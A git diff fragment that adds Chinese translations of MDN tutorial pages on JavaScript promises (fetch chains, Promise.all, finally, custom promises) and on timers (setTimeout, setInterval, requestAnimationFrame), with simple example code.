+ +

缺少一些东西 - 如果其中一个promise失败(rejects,in promise-speak),目前没有什么可以明确地处理错误。我们可以通过运行前一个promise的 .catch() 方法来添加错误处理。立即添加:

+ +
let errorCase = promise3.catch(e => {
+  console.log('There has been a problem with your fetch operation: ' + e.message);
+});
+ +

要查看此操作,请尝试拼错图像的URL并重新加载页面。该错误将在浏览器的开发人员工具的控制台中报告。

+ +

如果你根本不操心包括的 .catch() 块,这并没有做太多的事情,但考虑一下(指.catch()块) ––这会使我们可以完全控制错误处理方式。在真实的应用程序中,你的.catch()块可以重试获取图像,或显示默认图像,或提示用户提供不同的图像URL等等。

+ +
+

注意: 你可以参考 our version of the example live (参阅 source code ).

+
+ +

将代码块链在一起

+ +

这是写出来的一种非常简便的方式;我们故意这样做是为了帮助你清楚地了解发生了什么。如本文前面所示,你可以将.then()块(以及.catch()块)链接在一起。上面的代码也可以这样写(参阅GitHub上的simple-fetch-chained.html ):

+ +
fetch('coffee.jpg')
+.then(response => {
+  if (!response.ok) {
+    throw new Error(`HTTP error! status: ${response.status}`);
+  } else {
+    return response.blob();
+  }
+})
+.then(myBlob => {
+  let objectURL = URL.createObjectURL(myBlob);
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+})
+.catch(e => {
+  console.log('There has been a problem with your fetch operation: ' + e.message);
+});
+ +

请记住,履行的promise所返回的值将成为传递给下一个 .then() 块的executor函数的参数。

+ +
+

注意: promise中的.then()/catch()块基本上是同步代码中try...catch块的异步等价物。请记住,同步try ... catch在异步代码中不起作用。

+
+ +

Promise术语回顾

+ +

在上面的部分中有很多要介绍的内容,所以让我们快速回过头来给你一个简短的指南,你可以将它添加到书签中,以便将来更新你的记忆。你还应该再次阅读上述部分,以确保这些概念坚持下去。

+ +
    +
  1. 创建promise时,它既不是成功也不是失败状态。这个状态叫作pending(待定)。
  2. +
  3. 当promise返回时,称为 resolved(已解决). +
      +
    1. 一个成功resolved的promise称为fullfilled实现)。它返回一个值,可以通过将.then()块链接到promise链的末尾来访问该值。 .then()块中的执行程序函数将包含promise的返回值。
    2. +
    3. 一个不成功resolved的promise被称为rejected拒绝)了。它返回一个原因(reason),一条错误消息,说明为什么拒绝promise。可以通过将.catch()块链接到promise链的末尾来访问此原因。
    4. +
    +
  4. +
+ +

 运行代码以响应多个Promises的实现

+ +

上面的例子向我们展示了使用promises的一些真正的基础知识。现在让我们看一些更高级的功能。首先,链接进程一个接一个地发生都很好,但是如果你想在一大堆Promises全部完成之后运行一些代码呢?

+ +

 你可以使用巧妙命名的Promise.all()静态方法完成此操作。这将一个promises数组作为输入参数,并返回一个新的Promise对象,只有当数组中的所有promise都满足时才会满足。它看起来像这样:

+ +
Promise.all([a, b, c]).then(values => {
+  ...
+});
+ +

如果它们都实现,那么数组中的结果将作为参数传递给.then()块中的执行器函数。如果传递给Promise.all()的任何一个 promise 拒绝,整个块将拒绝

+ +

这非常有用。想象一下,我们正在获取信息以在内容上动态填充页面上的UI功能。在许多情况下,接收所有数据然后才显示完整内容,而不是显示部分信息。

+ +

让我们构建另一个示例来展示这一点。

+ +
    +
  1. +

    下载我们页面模板(page template)的新副本,并再次在结束</ body>标记之前放置一个<script>元素。

    +
  2. +
  3. +

    下载我们的源文件(coffee.jpg, tea.jpg和 description.txt),或者随意替换成你自己的文件。

    +
  4. +
  5. +

    在我们的脚本中,我们将首先定义一个函数,该函数返回我们要发送给Promise.all()的promise。如果我们只想运行Promise.all()块以响应三个fetch()操作完成,这将很容易。我们可以这样做:

    + +
    let a = fetch(url1);
    +let b = fetch(url2);
    +let c = fetch(url3);
    +
    +Promise.all([a, b, c]).then(values => {
    +  ...
    +});
    + +

    当promise是fullfilled时,传递到履行处理程序的values将包含三个Response对象,每个对象用于已完成的每个fetch()操作。

    + +

    但是,我们不想这样做。我们的代码不关心fetch()操作何时完成。相反,我们想要的是加载的数据。这意味着当我们返回代表图像的可用blob和可用的文本字符串时,我们想要运行Promise.all()块。我们可以编写一个执行此操作的函数;在<script>元素中添加以下内容:

    + +
    function fetchAndDecode(url, type) {
    +  return fetch(url).then(response => {
    +    if (type === 'blob') {
    +      return response.blob();
    +    } else if (type === 'text') {
    +      return response.text();
    +    }
    +  })
    +  .catch(e => {
    +    console.log('There has been a problem with your fetch operation: ' + e.message);
    +  });
    +}
    + +

    这看起来有点复杂,所以让我们一步一步地完成它:

    + +
      +
    1. 首先,我们定义函数,向它传递一个URL和字符串,这个字符串表示资源类型。
    2. +
    3. 在函数体内部,我们有一个类似于我们在第一个例子中看到的结构 - 我们调用fetch()函数来获取指定URL处的资源,然后将其链接到另一个 promise ,它解码(或“read”)响应body。这是前一个示例中的blob()方法。
    4. +
    5. 但是,这里有两处不同: +
        +
      • 首先,我们返回的第二个promise会因类型值的不同而不同。在执行函数内部,我们包含一个简单的if ... else if语句,根据我们需要解码的文件类型返回不同的promise(在这种情况下,我们可以选择blobtext,而且很容易扩展这个以处理其他类型)。
      • +
      • 其次,我们在fetch()调用之前添加了return关键字。它的作用是运行整个链,然后运行最终结果(即blob()text()返回的promise作为我们刚刚定义的函数的返回值)。实际上,return语句将结果从链返回到顶部。
      • +
      +
    6. +
    7. +

      在块结束时,我们链接一个.catch()调用,以处理任何可能出现在数组中传递给.all()的任何promise的错误情况。如果任何promise被拒绝,catch块将告诉你哪个promise有问题。 .all()块(见下文)仍然可以实现,但不会显示有问题的资源。如果你想要.all拒绝,你必须将.catch()块链接到那里的末尾。

      +
    8. +
    + +

    函数体内部的代码是async(异步)和基于promise的,因此实际上整个函数就像一个promise ––方便啊!

    +
  6. +
  7. +

    接下来,我们调用我们的函数三次以开始获取和解码图像和文本的过程,并将每个返回的promises存储在变量中。在以前的代码下面添加以下内容:

    + +
    let coffee = fetchAndDecode('coffee.jpg', 'blob');
    +let tea = fetchAndDecode('tea.jpg', 'blob');
    +let description = fetchAndDecode('description.txt', 'text');
    +
  8. +
  9. +

    接下来,我们将定义一个Promise.all()块,仅当上面存储的所有三个promise都已成功完成时才运行一些代码。首先,在.then()调用中添加一个带有空执行程序的块,如下所示:

    + +
    Promise.all([coffee, tea, description]).then(values => {
    +
    +});
    + +

    你可以看到它需要一个包含promises作为参数的数组。执行者只有在所有三个promises的状态成为resolved时才会运行;当发生这种情况时,它将被传入一个数组,其中包含来自各个promise(即解码的响应主体)的结果,类似于 [coffee-results, tea-results, description-results].

    +
  10. +
  11. +

    最后,在执行程序中添加以下内容。这里我们使用一些相当简单的同步代码将结果存储在单独的变量中(从blob创建对象URL),然后在页面上显示图像和文本。

    + +
    console.log(values);
    +// Store each value returned from the promises in separate variables; create object URLs from the blobs
    +let objectURL1 = URL.createObjectURL(values[0]);
    +let objectURL2 = URL.createObjectURL(values[1]);
    +let descText = values[2];
    +
    +// Display the images in <img> elements
    +let image1 = document.createElement('img');
    +let image2 = document.createElement('img');
    +image1.src = objectURL1;
    +image2.src = objectURL2;
    +document.body.appendChild(image1);
    +document.body.appendChild(image2);
    +
    +// Display the text in a paragraph
    +let para = document.createElement('p');
    +para.textContent = descText;
    +document.body.appendChild(para);
    +
  12. +
  13. +

    保存并刷新,你应该看到所有UI组件都已加载,尽管不是特别有吸引力!

    +
  14. +
+ +

我们在这里提供的用于显示项目的代码相当简陋,但现在作为解释器。

+ +
+

注意: 如果你遇到困难,可以将你的代码版本与我们的代码进行比较,看看它的外观 -––see it live,也可以参阅source code

+
+ +
+

注意: 如果你正在改进这段代码,你可能想要遍历一个项目列表来显示,获取和解码每个项目,然后循环遍历Promise.all()内部的结果,运行一个不同的函数来显示每个项目取决于什么代码的类型是。这将使它适用于任何数量的项目,而不仅仅是三个。

+ +

此外,你可以确定要获取的文件类型,而无需显式类型属性。例如,你可以使用response.headers.get("content-type")检查响应的{{HTTPHeader("Content-Type")}} HTTP标头,然后做出相应的反应。

+
+ +

 在promise fullfill/reject后运行一些最终代码

+ +

在promise完成后,你可能希望运行最后一段代码,无论它是否已实现(fullfilled)或被拒绝(rejected)。此前,你必须在.then().catch()回调中包含相同的代码,例如:

+ +
myPromise
+.then(response => {
+  doSomething(response);
+  runFinalCode();
+})
+.catch(e => {
+  returnError(e);
+  runFinalCode();
+});
+ +

在现代浏览器中,.finally() 方法可用,它可以链接到常规promise链的末尾,允许你减少代码重复并更优雅地执行操作。上面的代码现在可以写成如下:

+ +
myPromise
+.then(response => {
+  doSomething(response);
+})
+.catch(e => {
+  returnError(e);
+})
+.finally(() => {
+  runFinalCode();
+});
+ +

有关一个真实示例,请查看我们的promise-finally.html demo(另请参阅source code)。这与我们在上面部分中看到的Promise.all()演示完全相同,除了在fetchAndDecode()函数中我们将finally()调用链接到链的末尾:

+ +
function fetchAndDecode(url, type) {
+  return fetch(url).then(response => {
+    if(!response.ok) {
+      throw new Error(`HTTP error! status: ${response.status}`);
+    } else {
+      if(type === 'blob') {
+        return response.blob();
+      } else if(type === 'text') {
+        return response.text();
+      }
+    }
+  })
+  .catch(e => {
+    console.log(`There has been a problem with your fetch operation for resource "${url}": ` + e.message);
+  })
+  .finally(() => {
+    console.log(`fetch attempt for "${url}" finished.`);
+  });
+}
+ +

这会将一条简单的消息记录到控制台,告诉我们每次获取尝试的时间。

+ +
+

注意:finally()允许你在异步代码中编写异步等价物try/ catch / finally。

+
+ +

 构建自定义promise

+ +

好消息是,在某种程度上,你已经建立了自己的promise。当你使用.then()块链接多个promise时,或者将它们组合起来创建自定义函数时,你已经在创建自己的基于异步声明的自定义函数。例如,从前面的示例中获取我们的fetchAndDecode()函数。

+ +

将不同的基于promise的API组合在一起以创建自定义函数是迄今为止你使用promises进行自定义事务的最常见方式,并展示了基于相同原则的大多数现代API的灵活性和强大功能。然而,还有另一种方式。

+ +

使用Promise()构造函数

+ +

可以使用Promise() 构造函数构建自己的promise。当你需要使用现有的旧项目代码、库或框架以及基于现代promise的代码时,这会派上用场。比如,当你遇到没有使用promise的旧式异步API的代码时,你可以用promise来重构这段异步代码。

+ +

让我们看一个简单的示例来帮助你入门 —— 这里我们用 promise 包装一了个setTimeout()它会在两秒后运行一个函数,该函数将用字符串“Success!”,解析当前promise(调用链接的resolve())。

+ +
let timeoutPromise = new Promise((resolve, reject) => {
+  setTimeout(function(){
+    resolve('Success!');
+  }, 2000);
+});
+ +

resolve()reject()是用来实现拒绝新创建的promise的函数。此处,promise 成功运行通过显示字符串“Success!”。

+ +

因此,当你调用此promise时,可以将.then()块链接到它的末尾,它将传递给.then()块一串“Success!”。在下面的代码中,我们显示出该消息:

+ +
timeoutPromise
+.then((message) => {
+   alert(message);
+})
+ +

更简化的版本:

+ +
timeoutPromise.then(alert);
+
+ +

尝试 running this live 以查看结果 (可参考 source code).

+ +

上面的例子不是很灵活 - promise只能实现一个字符串,并且它没有指定任何类型的reject()条件(诚然,setTimeout()实际上没有失败条件,所以对这个简单的例子并不重要)。

+ +
+

注意: 为什么要resolve(),而不是fullfill()?我们现在给你的答案有些复杂。

+
+ +

拒绝一个自定义promise

+ +

我们可以创建一个reject() 方法拒绝promise  - 就像resolve()一样,这需要一个值,但在这种情况下,它是拒绝的原因,即将传递给.catch()的错误块。

+ +

让我们扩展前面的例子,使其具有一些reject()条件,并允许在成功时传递不同的消息。

+ +

获取previous example副本,并将现有的timeoutPromise()定义替换为:

+ +
function timeoutPromise(message, interval) {
+  return new Promise((resolve, reject) => {
+    if (message === '' || typeof message !== 'string') {
+      reject('Message is empty or not a string');
+    } else if (interval < 0 || typeof interval !== 'number') {
+      reject('Interval is negative or not a number');
+    } else {
+      setTimeout(function(){
+        resolve(message);
+      }, interval);
+    }
+  });
+};
+ +

在这里,我们将两个方法传递给一个自定义函数 - 一个用来做某事的消息,以及在做这件事之前要经过的时间间隔。在函数内部,我们返回一个新的Promise对象 - 调用该函数将返回我们想要使用的promise。

+ +

Promise构造函数中,我们在if ... else结构中进行了一些检查:

+ +
    +
  1. 首先,我们检查消息是否适合被警告。如果它是一个空字符串或根本不是字符串,我们会使用合适的错误消息拒绝该promise。
  2. +
  3. 接下来,我们检查间隔是否是适当的间隔值。如果是负数或不是数字,我们会使用合适的错误消息拒绝promise。
  4. +
  5. 最后,如果参数看起来都正常,我们使用setTimeout()在指定的时间间隔过后,使用指定的消息解析promise。
  6. +
+ +

由于timeoutPromise()函数返回一个Promise,我们可以将.then().catch()等链接到它上面以利用它的功能。现在让我们使用它 - 将以前的timeoutPromise用法替换为以下值:

+ +
timeoutPromise('Hello there!', 1000)
+.then(message => {
+   alert(message);
+})
+.catch(e => {
+  console.log('Error: ' + e);
+});
+ +

当你按原样保存并运行代码时,一秒钟后你将收到消息提醒。现在尝试将消息设置为空字符串或将间隔设置为负数,例如,你将能够通过相应的错误消息查看被拒绝的promise!你还可以尝试使用已解决的消息执行其他操作,而不仅仅是提醒它。

+ +
+

注意: 你可以在GitHub上找到我们的这个示例版本custom-promise2.html(另请参阅source code)。

+
+ +

一个更真实的例子

+ +

上面的例子是故意做得简单,以使概念易于理解,但它并不是实际上完全异步。异步性质基本上是使用setTimeout()伪造的,尽管它仍然表明promises对于创建具有合理的操作流程,良好的错误处理等的自定义函数很有用

+ +

我们想邀请你学习的一个例子是Jake Archibald's idb library,它真正地显示了Promise()构造函数的有用异步应用程序。这采用了 IndexedDB API,它是一种旧式的基于回调的API,用于在客户端存储和检索数据,并允许你将其与promises一起使用。如果你查看main library file,你将看到我们在上面讨论过的相同类型的技术。以下块将许多IndexedDB方法使用的基本请求模型转换为使用promise:

+ +
function promisifyRequest(request) {
+  return new Promise(function(resolve, reject) {
+    request.onsuccess = function() {
+      resolve(request.result);
+    };
+
+    request.onerror = function() {
+      reject(request.error);
+    };
+  });
+}
+ +

这可以通过添加一些事件处理程序来实现,这些事件处理程序在适当的时候实现(fullfill)和拒绝(reject)promise。

+ + + +

总结

+ +

当我们不知道函数的返回值或返回需要多长时间时,Promises是构建异步应用程序的好方法。它们使得在没有深度嵌套回调的情况下更容易表达和推理异步操作序列,并且它们支持类似于同步try ... catch语句的错误处理方式。

+ +

Promise适用于所有现代浏览器的最新版本;promise有兼容问题的唯一情况是Opera Mini和IE11及更早版本。

+ +

本文中,我们没有涉及的所有promise的功能,只是最有趣和最有用的功能。当你开始了解有关promise的更多信息时,你会遇到更多功能和技巧。

+ +

大多数现代Web API都是基于promise的,因此你需要了解promise才能充分利用它们。这些API包括WebRTCWeb Audio APIMedia Capture and Streams等等。随着时间的推移,Promises将变得越来越重要,因此学习使用和理解它们是学习现代JavaScript的重要一步。

+ +

参见

+ + + +

{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}}

+ +

 本章内容

+ + diff --git a/files/zh-cn/learn/javascript/asynchronous/timeouts_and_intervals/index.html b/files/zh-cn/learn/javascript/asynchronous/timeouts_and_intervals/index.html new file mode 100644 index 0000000000..2cf83da82c --- /dev/null +++ b/files/zh-cn/learn/javascript/asynchronous/timeouts_and_intervals/index.html @@ -0,0 +1,617 @@ +--- +title: '合作异步JavaScript: 超时和间隔' +slug: learn/JavaScript/异步/超时和间隔 +translation_of: Learn/JavaScript/Asynchronous/Timeouts_and_intervals +--- +
{{LearnSidebar}}
+ +
+ +
{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous")}}
+ +
+ +

在这里,我们将讨论传统的JavaScript方法,这些方法可以在一段时间或一段规则间隔(例如,每秒固定的次数)之后,以异步方式运行代码,并讨论它们的用处,以及它们的固有问题。

+ + + + + + + + + + + + +
预备条件:基本的计算机知识,对JavaScript基本原理有较好的理解。
目标:了解异步循环和间隔及其用途。
+ +

介绍

+ +

很长一段时间以来,web平台为JavaScript程序员提供了许多函数,这些函数允许您在一段时间间隔过后异步执行代码,或者重复异步执行代码块,直到您告诉它停止为止。这些都是:

+ +
+
setTimeout()
+
在指定的时间后执行一段代码.
+
setInterval()
+
以固定的时间间隔,重复运行一段代码.
+
requestAnimationFrame()
+
setInterval()的现代版本;在浏览器下一次重新绘制显示之前执行指定的代码块,从而允许动画在适当的帧率下运行,而不管它在什么环境中运行.
+
+ +

这些函数设置的异步代码实际上在主线程上运行(在其指定的计时器过去之后)。

+ +

在 setTimeout() 调用执行之前或 setInterval() 迭代之间可以(并且经常会)运行其他代码。根据这些操作的处理器密集程度,它们可以进一步延迟异步代码,因为任何异步代码仅在主线程可用后才执行(换句话说,当调用栈为空时)。在阅读本文时,您将学到更多关于此问题的信息。

+ +

无论如何,这些函数用于在web站点或应用程序上运行不间断的动画和其他后台处理。在下面的部分中,我们将向您展示如何使用它们。

+ +

setTimeout()

+ +

正如前述, setTimeout() 在指定的时间后执行一段特定代码. 它需要如下参数:

+ + + +
+

Note: 指定的时间(或延迟)不能保证在指定的确切时间之后执行,而是最短的延迟执行时间。在主线程上的堆栈为空之前,传递给这些函数的回调将无法运行。

+ +

结果,像 setTimeout(fn, 0) 这样的代码将在堆栈为空时立即执行,而不是立即执行。如果执行类似 setTimeout(fn, 0) 之类的代码,之后立即运行从 1 到 100亿 的循环之后,回调将在几秒后执行。 

+
+ +

在下面的示例中,浏览器将在执行匿名函数之前等待两秒钟,然后显示alert消息 (see it running live, and see the source code):

+ +
let myGreeting = setTimeout(function() {
+  alert('Hello, Mr. Universe!');
+}, 2000)
+ +

我们指定的函数不必是匿名的。我们可以给函数一个名称,甚至可以在其他地方定义它,并将函数引用传递给 setTimeout() 。以下两个版本的代码片段相当于第一个版本:

+ +
// With a named function
+let myGreeting = setTimeout(function sayHi() {
+  alert('Hello, Mr. Universe!');
+}, 2000)
+
+// With a function defined separately
+function sayHi() {
+  alert('Hello Mr. Universe!');
+}
+
+let myGreeting = setTimeout(sayHi, 2000);
+ +

例如,如果我们有一个函数既需要从超时调用,也需要响应某个事件,那么这将非常有用。此外它也可以帮助保持代码整洁,特别是当超时回调超过几行代码时。

+ +

setTimeout() 返回一个标志符变量用来引用这个间隔,可以稍后用来取消这个超时任务,下面就会学到 {{anch("Clearing timeouts")}} 。

+ +

传递参数给setTimeout() 

+ +

我们希望传递给setTimeout()中运行的函数的任何参数,都必须作为列表末尾的附加参数传递给它。

+ +

例如,我们可以重构之前的函数,这样无论传递给它的人的名字是什么,它都会向它打招呼:

+ +
function sayHi(who) {
+  alert('Hello ' + who + '!');
+}
+ +

人名可以通过第三个参数传进 setTimeout()

+ +
let myGreeting = setTimeout(sayHi, 2000, 'Mr. Universe');
+ +

清除超时

+ +

最后,如果创建了 timeout,您可以通过调用clearTimeout(),将setTimeout()调用的标识符作为参数传递给它,从而在超时运行之前取消。要取消上面的超时,你需要这样做:

+ +
clearTimeout(myGreeting);
+ +
+

注意: 请参阅 greeter-app.html 以获得稍微复杂一点的演示,该演示允许您在表单中设置要打招呼的人的姓名,并使用单独的按钮取消问候语(see the source code also)。

+
+ +

setInterval()

+ +

当我们需要在一段时间之后运行一次代码时,setTimeout()可以很好地工作。但是当我们需要反复运行代码时会发生什么,例如在动画的情况下?

+ +

这就是setInterval()的作用所在。这与setTimeout()的工作方式非常相似,只是作为第一个参数传递给它的函数,重复执行的时间不少于第二个参数给出的毫秒数,而不是一次执行。您还可以将正在执行的函数所需的任何参数作为 setInterval() 调用的后续参数传递。

+ +

让我们看一个例子。下面的函数创建一个新的Date()对象,使用toLocaleTimeString()从中提取一个时间字符串,然后在UI中显示它。然后,我们使用setInterval()每秒运行该函数一次,创建一个每秒更新一次的数字时钟的效果。

+ +

(see this live, and also see the source):

+ +
function displayTime() {
+   let date = new Date();
+   let time = date.toLocaleTimeString();
+   document.getElementById('demo').textContent = time;
+}
+
+const createClock = setInterval(displayTime, 1000);
+ +

setTimeout()一样, setInterval() 返回一个确定的值,稍后你可以用它来取消间隔任务。

+ +

清除intervals

+ +

setInterval()永远保持运行任务,除非我们做点什么——我们可能会想阻止这样的任务,否则当浏览器无法完成任何进一步的任务时我们可能得到错误, 或者动画处理已经完成了。我们可以用与停止超时相同的方法来实现这一点——通过将setInterval()调用返回的标识符传递给clearInterval()函数:

+ +
const myInterval = setInterval(myFunction, 2000);
+
+clearInterval(myInterval);
+ +

主动学习:创建秒表!

+ +

话虽如此,我们还是要给你一个挑战。以我们的setInterval-clock.html为例,修改它以创建您自己的简单秒表。

+ +

你要像前面一样显示时间,但是在这里,你需要:

+ + + +

提示:

+ + + +
+

Note: 如果您在操作过程有困难,请参考 see it runing live (see the source code also).

+
+ +

关于 setTimeout() 和 setInterval() 需要注意的几点

+ +

当使用 setTimeout()setInterval()的时候,有几点需要额外注意。 现在让我们回顾一下:

+ +

递归的timeouts

+ +

还有另一种方法可以使用setTimeout():我们可以递归调用它来重复运行相同的代码,而不是使用setInterval()

+ +

下面的示例使用递归setTimeout()每100毫秒运行传递来的函数:

+ +
let i = 1;
+
+setTimeout(function run() {
+  console.log(i);
+  i++;
+  setTimeout(run, 100);
+}, 100);
+ +

将上面的示例与下面的示例进行比较 ––这使用 setInterval() 来实现相同的效果:

+ +
let i = 1;
+
+setInterval(function run() {
+  console.log(i);
+  i++
+}, 100);
+ +

递归setTimeout()和setInterval()有何不同?

+ +

上述代码的两个版本之间的差异是微妙的。

+ + + +

当你的代码有可能比你分配的时间间隔,花费更长时间运行时,最好使用递归的 setTimeout() - 这将使执行之间的时间间隔保持不变,无论代码执行多长时间,你不会得到错误。

+ +

立即超时

+ +

使用0用作setTimeout()的回调函数会立刻执行,但是在主线程代码运行之后执行。

+ +

举个例子,下面的代码(see it live) 输出一个包含警报的"Hello",然后在您点击第一个警报的OK之后立即弹出“world”。

+ +
setTimeout(function() {
+  alert('World');
+}, 0);
+
+alert('Hello');
+ +

如果您希望设置一个代码块以便在所有主线程完成运行后立即运行,这将很有用。将其放在异步事件循环中,这样它将随后直接运行。

+ +

使用 clearTimeout() or clearInterval()清除

+ +

clearTimeout()clearInterval() 都使用相同的条目列表进行清除。有趣的是,这意味着你可以使用任一一种方法来清除 setTimeout() 和 setInterval()。

+ +

但为了保持一致性,你应该使用 clearTimeout() 来清除 setTimeout() 条目,使用 clearInterval() 来清除 setInterval() 条目。 这样有助于避免混乱。

+ +

requestAnimationFrame()

+ +

requestAnimationFrame() 是一个专门的循环函数,旨在浏览器中高效运行动画。它基本上是现代版本的setInterval() —— 它在浏览器重新加载显示内容之前执行指定的代码块,从而允许动画以适当的帧速率运行,不管其运行的环境如何。

+ +

它是针对setInterval() 遇到的问题创建的,比如 setInterval()并不是针对设备优化的帧率运行,有时会丢帧。还有即使该选项卡不是活动的选项卡或动画滚出页面等问题 。

+ +

(在CreativeJS上了解有关此内容的更多信息).

+ +
+

注意: 你可以在课程中其他地方找到requestAnimationFrame() 的使用范例—参见 Drawing graphics, 和 Object building practice

+
+ +

该方法将重新加载页面之前要调用的回调函数作为参数。这是您将看到的常见表达:

+ +
function draw() {
+   // Drawing code goes here
+   requestAnimationFrame(draw);
+}
+
+draw();
+ +

这个想法是要定义一个函数,在其中更新动画 (例如,移动精灵,更新乐谱,刷新数据等),然后调用它来开始这个过程。在函数的末尾,以 requestAnimationFrame() 传递的函数作为参数进行调用,这指示浏览器在下一次显示重新绘制时再次调用该函数。然后这个操作连续运行, 因为requestAnimationFrame() 是递归调用的。

+ +
+

注意: 如果要执行某种简单的常规DOM动画, CSS 动画 可能更快,因为它们是由浏览器的内部代码计算而不是JavaScript直接计算的。但是,如果您正在做一些更复杂的事情,并且涉及到在DOM中不能直接访问的对象(such as 2D Canvas API or WebGL objects), requestAnimationFrame() 在大多数情况下是更好的选择。

+
+ +

你的动画跑得有多快?

+ +

动画的平滑度直接取决于动画的帧速率,并以每秒帧数(fps)为单位进行测量。这个数字越高,动画看起来就越平滑。

+ +

由于大多数屏幕的刷新率为60Hz,因此在使用web浏览器时,可以达到的最快帧速率是每秒60帧(FPS)。然而,更多的帧意味着更多的处理,这通常会导致卡顿和跳跃-也称为丢帧或跳帧。

+ +

如果您有一个刷新率为60Hz的显示器,并且希望达到60fps,则大约有16.7毫秒(1000/60)来执行动画代码来渲染每个帧。这提醒我们,我们需要注意每次通过动画循环时要运行的代码量。

+ +

requestAnimationFrame() 总是试图尽可能接近60帧/秒的值,当然有时这是不可能的如果你有一个非常复杂的动画,你是在一个缓慢的计算机上运行它,你的帧速率将更少。requestAnimationFrame() 会尽其所能利用现有资源提升帧速率。

+ +

 requestAnimationFrame() 与 setInterval() 和 setTimeout()有什么不同?

+ +

让我们进一步讨论一下 requestAnimationFrame() 方法与前面介绍的其他方法的区别. 下面让我们看一下代码:

+ +
function draw() {
+   // Drawing code goes here
+   requestAnimationFrame(draw);
+}
+
+draw();
+ +

现在让我们看看如何使用setInterval():

+ +
function draw() {
+   // Drawing code goes here
+}
+
+setInterval(draw, 17);
+ +

如前所述,我们没有为requestAnimationFrame();指定时间间隔;它只是在当前条件下尽可能快速平稳地运行它。如果动画由于某些原因而处于屏幕外浏览器也不会浪费时间运行它。

+ +

 另一方面setInterval()需要指定间隔。我们通过公式1000毫秒/60Hz得出17的最终值,然后将其四舍五入。四舍五入是一个好主意,浏览器可能会尝试运行动画的速度超过60fps,它不会对动画的平滑度有任何影响。如前所述,60Hz是标准刷新率。

+ +

包括时间戳

+ +

传递给 requestAnimationFrame() 函数的实际回调也可以被赋予一个参数(一个时间戳值),表示自 requestAnimationFrame() 开始运行以来的时间。这是很有用的,因为它允许您在特定的时间以恒定的速度运行,而不管您的设备有多快或多慢。您将使用的一般模式如下所示:

+ +
let startTime = null;
+
+function draw(timestamp) {
+    if(!startTime) {
+      startTime = timestamp;
+    }
+
+   currentTime = timestamp - startTime;
+
+   // Do something based on current time
+
+   requestAnimationFrame(draw);
+}
+
+draw();
+ +

浏览器支持

+ +

 与setInterval()setTimeout() 相比最近的浏览器支持requestAnimationFrame()

+ +

requestAnimationFrame().在Internet Explorer 10及更高版本中可用。因此,除非您的代码需要支持旧版本的IE,否则没有什么理由不使用requestAnimationFrame() 。

+ +

一个简单的例子

+ +

学习上述理论已经足够了,下面让我们仔细研究并构建自己的requestAnimationFrame() 示例。我们将创建一个简单的“旋转器动画”(spinner animation),即当应用程序忙于连接到服务器时可能会显示的那种动画。

+ +
+

注意: 一般来说,像以下例子中如此简单的动画应用CSS动画来实现,这里使用requestAnimationFrame()只是为了帮助解释其用法。requestAnimationFrame()正常应用于如逐帧更新游戏画面这样的复杂动画。

+
+ +
    +
  1. +

    首先, 下载我们的网页模板

    +
  2. +
  3. +

    放置一个空的 {{htmlelement("div")}} 元素进入 {{htmlelement("body")}}, 然后在其中加入一个 ↻ 字符.这是一个将循环的字符将在我们的例子中作为我们的旋转器(spinner)。

    +
  4. +
  5. +

    用任何你喜欢的方法应用下述的CSS到HTML模板中。这些在页面上设置了一个红色背景,将<body>的高度设置为100%<html>的高度,并将<div>水平和竖直居中。

    + +
    html {
    +  background-color: white;
    +  height: 100%;
    +}
    +
    +body {
    +  height: inherit;
    +  background-color: red;
    +  margin: 0;
    +  display: flex;
    +  justify-content: center;
    +  align-items: center;
    +}
    +
    +div {
    +  display: inline-block;
    +  font-size: 10rem;
    +}
    +
  6. +
  7. +

    插入一个 {{htmlelement("script")}}元素在 </body> 标签之上。

    +
  8. +
  9. +

    插入下述的JavaScript在你的 <script> 元素中。这里我们存储了一个<div>的引用在一个常量中,设置rotateCount变量为 0, 设置一个未初始化的变量之后将会用作容纳一个requestAnimationFrame() 的调用, 然后设置一个 startTime 变量为 null,它之后将会用作存储 requestAnimationFrame() 的起始时间.。

    + +
    const spinner = document.querySelector('div');
    +let rotateCount = 0;
    +let rAF;
    +let startTime = null;
    +
  10. +
  11. +

    在之前的代码下面, 插入一个 draw() 函数将被用作容纳我们的动画代码,并且包含了 时间戳 参数。

    + +
    function draw(timestamp) {
    +
    +}
    +
  12. +
  13. +

    draw()中, 加入下述的几行。 如果起始时间还没有被赋值的话,将timestamp 传给它(这只将发生在循环中的第一步)。 并赋值给rotateCount ,以旋转 旋转器(spinning)(此处取(当前时间戳 – 起始时间戳) / 3,以免它转得太快):

    + +
      if (!startTime) {
    +   startTime = timestamp;
    +  }
    +
    +  rotateCount = (timestamp - startTime) / 3;
    +
    +
  14. +
  15. +

    draw()内我们刚刚添加的代码之后,添加以下代码 — 此处是在检查rotateCount 的值是否超过了359 (e.g. 360, 一个正圆的度数)。 如果是,与360取模(值除以 360 后剩下的余数),使得圆圈的动画能以合理的低值连续播放。需要注意的是,这样的操作并不是必要的,只是比起类似于“128000度”的值,运行在 0-359 度之间会使你的操作更容易些。

    + +
    if (rotateCount > 359) {
    +  rotateCount %= 360;
    +}
    +
  16. +
  17. +

    接下来,在上一个块下面添加以下行以实际旋转 旋转(spinner)器:

    + +
    spinner.style.transform = `rotate(${rotateCount}deg)`;
    +
  18. +
  19. +

    在函数draw()内的最下方,插入下面这行代码。这是整个操作中最关键的部分 — 我们将前面定义的变量设置为以draw()函数为参数的活动requestAnimation()调用。 这样动画就开始了,以尽可能接近60 FPS的速率不断地运行draw()函数。

    + +
    rAF = requestAnimationFrame(draw);
    +
  20. +
  21. +

    draw() 函数定义下方,添加对 draw() 函数的调用以启动动画。

    +
  22. +
  23. +
    draw();
    +
  24. +
+ +
+

Note: You can find this example live on GitHub (see the source code also).

+
+ +

撤销requestAnimationFrame()

+ +

requestAnimationFrame()可用与之对应的cancelAnimationFrame()方法“撤销”(不同于“set…”类方法的“清除”,此处更接近“撤销”之意)。

+ +

该方法以requestAnimationFrame()的返回值为参数,此处我们将该返回值存在变量 rAF 中:

+ +
cancelAnimationFrame(rAF);
+ +

主动学习: 启动和停止旋转器(spinner)

+ +

